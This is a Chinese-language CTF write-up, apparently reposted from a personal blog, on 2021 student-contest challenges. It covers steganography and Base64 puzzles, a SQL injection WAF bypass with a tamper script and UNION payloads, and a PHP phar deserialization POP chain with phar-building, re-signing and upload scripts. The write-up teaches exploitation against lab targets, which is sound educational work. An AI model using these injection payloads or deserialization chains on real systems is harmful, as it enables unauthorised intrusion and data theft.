文章目錄
- 前言:
- 【WEB】sql_checkin
- 【雜項】easy_misc
- 莫斯密碼解密
- lsb加密隱寫
- 柵欄密碼
- 【雜項】Un(ix)zip
- unixzip
- Base64
- 【雜項】Do_you_konw_school_motto(復現)
- Mp3隱寫
- IP置換盒?
- lsb加密隱寫
- 【WEB】medium-unserialize【復現】
- 了解整個邏輯
- Phar反序列化
- 原生類的反序列化
- 強制垃圾回收gc
- 構造phar包
- 簽名更改
- 上傳phar包
前言:
不多但都是自己認認真真復盤的
里面的代碼都是自己敲出來的
畢竟人家復盤講解啥的給你看看就不錯了~
復習周來了,不得不去,
有識訓的話就給個贊吧…
首發于 https://sleepymonster.cn/
【WEB】sql_checkin
題目來自
2021暨南大學新生賽決賽Web簽到題
直接放WAF
<?php
function waf($var)
{
if(preg_match("/select|union|or|ro|where/", $var)){
return 'no no no';
}
else{
return $var;
}
}
這是一道非常基礎的題,程序我就不放了,放個腳本吧,
一步步做就很方便,具體怎么改操作tamper就好了
def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('group_contact' , 'GROUP_CONCAT') # 因為是函式 所以就不支持大小寫混用
payload= payload.replace('select' , 'Select')
payload= payload.replace('union' , 'Union')
payload= payload.replace('or' , 'Or')
payload= payload.replace('ro' , 'Ro')
payload= payload.replace('where' , 'Where')
retVal=payload
return retVal
database = 'easysql'
table = 'flag'
column = 'flag'
payloadFindField = '" union select 1,2,3 #'
payloadFindFlag = f'" union select 1,2,(select {column} from {database}.{table}) #'
payloadFindColumn = f'" union select 1,2,(select group_contact(column_name) from information_schema.columns where table_schema="{database}" and table_name="{table}") #'
payloadFindTable = f'" union select 1,2,(select group_contact(table_name) from information_schema.tables where table_schema="{database}") #'
payloadFindDataBase = '" union select 1,2,(select group_contact(schema_name) from information_schema.schemata) #'
payloadArray = [payloadFindDataBase, payloadFindTable, payloadFindColumn, payloadFindFlag]
payloadDescription = ['判斷資料庫','判斷數據表','判斷資料列','拿到Flag']
progress = 0 + int(database is not '') + int(table is not '') + int(column is not '')
print(f'[*] 請先判斷欄位:{payloadFindField}')
print(f'[*] 當前進度:{payloadDescription[progress]}, 請復制下一行的話進行注入')
print(tamper(payloadArray[progress]))
【雜項】easy_misc
題目來自 2021暨南大學新生賽初賽
莫斯密碼解密
解密網站:http://www.hiencode.com/morse.html
lsb加密隱寫
用了stegsolve找不到
用了zsteg zsteg ./lalala.png -v還是不行
找了Steghide以為是把密碼寫到檔案里面然后用莫斯那個密碼解出來,還是不行
Steghide 參考鏈接 https://www.jianshu.com/p/c3679f805a0c
最后是問了大佬 https://github.com/livz/cloacked-pixel
開始動手~
拿到解壓密碼 this_is_the_second_password
柵欄密碼
解密網站:https://www.qqxiuzi.cn/bianma/zhalanmima.php
【雜項】Un(ix)zip
題目來自 第四屆2021美團網路安全高校挑戰賽
unixzip
unzip 就是解壓,unix就是在unix下
一共有36位然后依照順序連起來
ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9
Base64
Base64演算法
第一步,“M”、“a”、"n"的ASCII值分別是77、97、110,對應的二進制值是01001101、01100001、01101110,將它們連成一個24位的二進制字串010011010110000101101110,
第二步,將這個24位的二進制字串分成4組,每組6個二進制位:010011、010110、000101、101110,
第三步,在每組前面加兩個00,擴展成32個二進制位,即四個位元組:00010011、00010110、00000101、00101110,它們的十進制值分別是19、22、5、46,
第四步,根據表格,得到每個值對應Base64編碼,即T、W、F、u,
如果位元組數不足三(余2 與 余1)
- “M”、“a” => 01001101、01100001 => 010011|010110|0001=> 00010011|00010110|00000100(最后一組除了前面加兩個0以外,后面也要加兩個0) => 對應Base64值分別為T、W、E,再補上一個"="號,因此"Ma"的Base64編碼就是TWE=
- “M” => 01001101 => 010011|01 => 00010011 | 00010000 => TQ== 補上二個"="號
上面的一共有36位 一個字母為一個位元組即8Bit 為3的倍數
import base64
print(base64.b64decode("ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9"))
【雜項】Do_you_konw_school_motto(復現)
題目來自 2021年暨南大學新生賽決賽
Mp3隱寫
一般是查詢譜寫,隱譜圖,
發現了個工具箱整理:太長了
工具🔧 https://www.petitcolas.net/steganography/mp3stego/
IP置換盒?
我直接好家伙:其實拼圖演算法就出來了
但是! 圖片損壞了,
$ sudo ./gaps --image=question.png --generations=20 --population=600 --size=200
所以很難受 不得不跟著做
參考鏈接: DES加密演算法中的IP置換演算法
import cv2
import numpy as np
IP_BOX = [
[58, 50, 42, 34, 26, 18, 10, 2],
[60, 52, 44, 36, 28, 20, 12, 4],
[62, 54, 46, 38, 30, 22, 14, 6],
[64, 56, 48, 40, 32, 24, 16, 8],
[57, 49, 41, 33, 25, 17, 9, 1],
[59, 51, 43, 35, 27, 19, 11, 3],
[61, 53, 45, 37, 29, 21, 13, 5],
[63, 55, 47, 39, 31, 23, 15, 7]
]
IP_NBOX = [
[40, 8, 48, 16, 56, 24, 64, 32],
[39, 7, 47, 15, 55, 23, 63, 31],
[38, 6, 46, 14, 54, 22, 62, 30],
[37, 5, 45, 13, 53, 21, 61, 29],
[36, 4, 44, 12, 52, 20, 60, 28],
[35, 3, 43, 11, 51, 19, 59, 27],
[34, 2, 42, 10, 50, 18, 58, 26],
[33, 1, 41, 9, 49, 17, 57, 25]
]
def IP(path, cutNum, toPath):
img = cv2.imread(path)
m, n , _ = img.shape
block_size = m // cutNum
res = np.zeros((m,n,3))
for i in range(cutNum):
for j in range(cutNum):
r = (IP_BOX[i][j] - 1) // cutNum
c = (IP_BOX[i][j] - 1) % cutNum
res[i * block_size:(i +1 ) * block_size, j * block_size:(j +1 ) * block_size, :] = img[r * block_size:(r + 1) * block_size, c * block_size:(c +1 ) * block_size, :]
cv2.imwrite(toPath, res)
def IPR(Path, cutNum, toPath):
img = cv2.imread(Path)
m, n , _ = img.shape
block_size = m // cutNum
res = np.zeros((m,n,3))
for i in range(cutNum):
for j in range(cutNum):
r = (IP_NBOX[i][j] - 1) // cutNum
c = (IP_NBOX[i][j] - 1) % cutNum
res[i * block_size:(i +1 ) * block_size, j * block_size:(j +1 ) * block_size, :] = img[r * block_size:(r + 1) * block_size, c * block_size:(c +1 ) * block_size, :] # 進行調換
cv2.imwrite(toPath, res)
IPR('./question.png',8,'out.png')
lsb加密隱寫
查看得到密碼 8GpsKK2Ca!
$ python2 lsb.py extract ./out.png out 8GpsKK2Ca!
拿到flag flag{rAnd0m_1sB_1s_fUN}
【WEB】medium-unserialize【復現】
題目來自 2021暨南大學新生賽決賽
倉庫地址:https://github.com/mi3aka/xp0int-2021-ctf-web/tree/master/medium-unserialize
了解整個邏輯
我學完了我在最開始來總結下整個思路吧,
我相信帶著答案反推學習應該是不錯的,
首先是**Main**類是唯一能控制的地方,即**Main**中的data和str是唯一能傳值的地方,str處的過濾是為了限定死就是只能上傳phar檔案來觸發反序列化,data的寫就是把phar用python寫進去,讀的話就是file_exists會觸發phar包的反序列化,然后data寫入的繞過為file_put_contents為陣列/資源繞過,而我們上傳的phar包相當于免疫了此處的preg_match,到這里可以自由寫入檔案以及觸發反序列化,
? 然后就是開始構造pop鏈,從**Welcome**開始進入,sha1與sha2是要用原生類報錯來繞過,才能進入下面的if,wow沒必要進去,但是通過md5($this->welcome)判斷的時候會觸發__toString() 方法來開始觸發pop鏈,來到**User**里面呼叫$this->private_info['address']是個類的話,繼續觸發,來到**Filter**觸發get()用于從不可訪問的屬性讀取資料,這里是因為$this->private_info['address']->birthplace來觸發,此時的$name就是birthplace為引數了, 去呼叫get($name)方法,而此時$this->params設定鍵為birthplace值為**flag**類來觸發call_user_func從而拿到了flag,
? 可以看到Route,Info,Method類都是障眼法..除了常見的類之外還要了解—get(),__toString()等,以及Phar等,復盤不易,代碼都是自己敲了一遍,
Phar反序列化
思路就是:
file_put_contents https://www.php.net/manual/zh/function.file-put-contents.php
型別可以是 string,array 或者是 stream 資源 即$_POST[“data”]可以為陣列繞過后正常寫入檔案
先激活Main類繞過了Waf后進行檔案的寫入
再通過file_exists($data) 進行phar反序列化 激活上面的一串類
意思就是先寫入了檔案之后呢,再用file_exists去訪問該檔案,
訪問的時候會觸發
phar:///tmp/xxx.xpoint決議,如果符合phar檔案則會觸發里面的反序列化 達到效果,
class Main # 用于寫入過waf寫檔案的
{
public $operate;
public function __destruct()
{
echo "進入了Main的__destruct".'</br>';
if (!isset($_POST["data"]) || preg_match('/GBMB|file|http|ftp|php|zlib|data|glob|ssh2|rar|ogg|expect|filter|read|base|rot|get|post|class|Welcome|Route|Info|User|Filter|Method|Flag|zip|tar/i', $_POST["data"])) {
die("???");
}
$data = $_POST["data"];
echo "當前的data為:".$data.'</br>';
// 反序列化之后Main類的operate為'w'/'r'
if ($this->operate === 'w') {
$filename = "./tmp/" . md5(time()) . ".xp0int";
file_put_contents($filename, $data);
echo $filename.'</br>';
} else if ($this->operate === 'r') {
if (file_exists($data)) {
echo("wow!!!<br>");
} else {
die("No File!!!");
}
}
}
}
原生類的反序列化
繞過instanceof與sha與md5r繞過
instanceof 用于確定一個PHP 變數是否屬于某一類class 的實體
第一處: $this->sha1 與 $this->sha2 不能為空;不能為陣列;sha1 與 md5要相等;還都不是以上那些類中;
class Welcome
{
public $welcome;
public $randcode;
public $code;
public $sha1;
public $sha2;
public function __construct()
{
$this->welcome = "Welcome to Xp0int-CTF";
echo $this->welcome . "<br>";
}
public function __destruct()
{
$this->randcode = rand(1, 10086);
if ($this->sha1 instanceof Filter || $this->sha1 instanceof Route || $this->sha1 instanceof User || $this->sha1 instanceof Info || $this->sha1 instanceof Method || $this->sha2 instanceof Filter || $this->sha2 instanceof Route || $this->sha2 instanceof User || $this->sha2 instanceof Info || $this->sha2 instanceof Method || empty($this->sha1) || empty($this->sha2) || is_array($this->sha1) || is_array($this->sha2) || ($this->sha1 == $this->sha2) || !(sha1($this->sha1) === sha1($this->sha2)) || !(md5($this->sha1) === md5($this->sha2))) {
die("no no no");// $this->sha1 與 $this->sha2 不能為空;不能為陣列;sha1 與 md5要相等;還都不是以上那些類中;
}
if ($this->randcode === $this->code && md5($this->welcome) === md5(time())) {
echo("wow!!!<br>"); // 繞過恒等
} else {
die("(:");
}
}
}
// 使用原生類來繞過第一處
$a = new Exception($message = 'php', $code = 0);$b = new Exception($message = 'php', $code = 1);
var_dump($a);
var_dump($b);
var_dump($a == $b);
echo $a.'</br>';
echo $b.'</br>';
// 會呼叫toString方法
var_dump(md5($a));
var_dump(md5($b));
var_dump(md5($a) == md5($b));
var_dump(sha1($a));
var_dump(sha1($b));
var_dump(sha1($a) == sha1($b));
// $randcode 與 $code 在一個類中
// 要完全相同則把地址給對方就好了
// 當然這里是障眼法
// md5 就是要去觸發后面的魔術方法
class demo
{
public $randcode;
public $code;
public function __destruct(){
$this->randcode = rand(1, 10086);
if ($this->randcode === $this->code) {
echo("wow!!!<br>");
} else {
die("(:");
}
}
}
$one = new demo();
$one->code = & $one->randcode;
$a = serialize($one);
var_dump($a);
強制垃圾回收gc
throw new Error("I can't destruct,help!!!");
執行phar會觸發throw new Error,如何繞過?
在這里正常情況下的話:wakeup之后的話會執行throw new Error而不會執行destruct
所以我們為了執行destruct需要采用強制垃圾回收gc方法,
跟著大佬的復盤我也來復現下
<?php
class demo1
{
public function __wakeup(){
echo "我是demo1, 我蘇醒了,"."</br>";
$this->hello();
}
public function hello(){
echo "我是demo1, 我執行了hello"."</br>";
}
public function __destruct(){
echo "我是demo1, 我被銷毀了"."</br>";
}
}
class demo2
{
public function __wakeup(){
echo "我是demo2, 我蘇醒了,"."</br>";
$this->hello();
}
public function hello(){
echo "我是demo2, 我執行了hello"."</br>";
}
public function __destruct(){
echo "我是demo2, 我被銷毀了"."</br>";
}
}
// 其中 “a” 表示這是個陣列,其中 “i” 表示 整型,“o” 表示物件,
$str = 'a:2:{i:0;O:5:"demo1":0:{}i:1;O:5:"demo2":0:{}}';
$tmp = unserialize($str);
var_dump($tmp);
// throw new Error("I can't destruct,help!!!");
如果打開了throw new Error("I can't destruct,help!!!");注釋:
繞過方法有2個:
$str = 'a:2:{i:0;O:5:"demo1":0:{}i:0;O:5:"demo2":0:{}}';1 => 0
即demo1成功繞過throw new Error執行
$str = 'a:2:{i:0;O:5:"demo1":0:{}}';
構造phar包
class fake{}
$flag = new Flag();
$welcome = new Welcome();
$filter = new Filter();
$filter->params = array("birthplace" => array($flag, "getflag"));
$user = new User(array(1,2,3), array("address"=>$filter));
$welcome->code = & $welcome->randcode;
$welcome->welcome = $user;
$sha1 = new Error($message = 'test', $code = 0); $sha2 = new Error($message = 'test', $code = 1); # 不要換行
$welcome->sha1 = $sha1;
$welcome->sha2 = $sha2;
$fake = new fake();
$a = array($welcome, $fake);
var_dump(serialize($a));
$phar = new Phar("source.phar"); // 構造phar檔案時后綴必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 設定存根stub
$phar->setMetadata($a); // 將自定義的meta-data序列化后存入manifest
$phar->addFromString("a", "a"); // phar本質上是對檔案的壓縮所以要添加檔案名字和內容
$phar->stopBuffering();
簽名更改
參考鏈接 :https://www.php.net/manual/zh/phar.fileformat.signature.php
生成phar包后進行第二次篡改, 為了就是能強制進行垃圾回收,
import gzip
import hashlib
def resign(source, target):
phar = None
with open(source, "rb") as f:
phar = f.read()
if b'i:1;O:4:"fake"' in phar:
phar = phar.replace(b'i:1;O:4:"fake"', b'i:0;O:4:"fake"')
print('更改成功')
else:
print('沒找到')
source = phar[:-28] # 需要進行簽名的資料 20 + 4 + 4
GBMB = phar[-8:] # 簽名標志(通常為sha1??)和GBMB標簽
signature = hashlib.sha1(source).digest() # sha1簽名 # 20位數
phar = source + signature + GBMB
with open(target, "wb") as f:
f.write(phar)
def convert(source, target="a"):
phar = None
with open(source, "rb") as f:
phar = f.read()
with gzip.open(target, "wb") as f:
f.write(phar)
source = '/Applications/MxSrvs/www/source.phar'
target = '/Applications/MxSrvs/www/target.phar'
resign(source, target)
convert(target)
左上是沒有gzip的 左下是經過zip的 右邊的就是對比
上傳phar包
import requests
import re
url = ""
phar = None
pharPath = '/Applications/MxSrvs/www/target.phar'
with open(pharPath, 'rb') as f:
phar = f.read()
data = {
'str' : 'O:4:"Main":1:{s:7:"operate";s:1:"w";}',
'data' : phar
}
r = requests.post(url=url, data=data)
rule = r'</code>(.+?)<br />'
result = re.findall(rule, r.text)
print(result)
最后再去觸發
// payload:
str=O:4:"Main":1:{s:7:"operate";s:1:"r";}&data=phar///temp/xxxx.xpoint
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/389073.html
標籤:其他
